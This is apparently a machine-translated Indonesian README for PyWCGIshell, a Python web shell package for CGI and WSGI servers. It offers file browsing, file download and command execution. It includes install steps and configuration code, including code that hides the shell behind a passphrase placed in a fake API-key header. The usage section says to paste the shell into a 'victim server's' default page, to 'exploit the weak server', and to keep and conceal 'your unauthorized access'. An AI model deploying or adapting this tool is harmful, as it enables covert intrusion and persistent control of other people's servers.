PyWCGIshell

Pywcgishell

Keterangan

Paket ini mengimplementasikan webshell untuk server CGI dan WSGI.

Dengan webshell ini Anda bisa:

• Jelajahi direktori dan unduh file
• Jalankan baris perintah (dengan riwayat perintah)
• Tampilkan informasi dasar tentang server lingkungan
• Tunjukkan variabel lingkungan

Persyaratan

Paket ini membutuhkan:

• Python3
• Perpustakaan Standar Python3

Instalasi

pip install PyWCGIshell

Penggunaan

Baris perintah

(Baris perintah berguna untuk mencoba webshell)

python3 -m PyWCGIshell wsgi # Try it in wsgi mode

Skrip Python

Halaman CGI

 from PyWCGIshell import WebShell

def my_default_cgi_page ():
	print ( "Content-type:text/plain; charset=utf-8" )
	print ( "" )
	print ( "Hello World !" )

webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run ()

Halaman WSGI

 from PyWCGIshell import WebShell

def my_default_wsgi_page ( environ , start_response ):
    status = '200 OK'
    headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
    start_response ( status , headers )
    return [ b"Hello World !" ]

webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function 

Opsi Webshell

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run ()

Saya tidak merekomendasikan menggunakan method seperti pass_type untuk menyembunyikan webshell Anda.

Anda dapat menggunakan konfigurasi serupa untuk menyembunyikan webshell Anda.

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . run

Untuk menggunakan webshell ini:

• Konfigurasi (jenis server, lokasi sandi dan frasa sandi) dan salin kode webshell atau instal
• Tempel di halaman default server korban atau impor
• Kirim permintaan dengan frasa sandi dan eksploitasi server yang lemah

Contoh

Instal dan konfigurasikan pywcgishell di WebScripts untuk menjaga akses tidak sah Anda dan menyembunyikannya (repo ada di sini).

Webshell di WebScripts - YouTube

Tautan

• Halaman GitHub
• Dokumentasi
• Paket PYPI

Lisensi

Lisensi di bawah GPL, versi 3.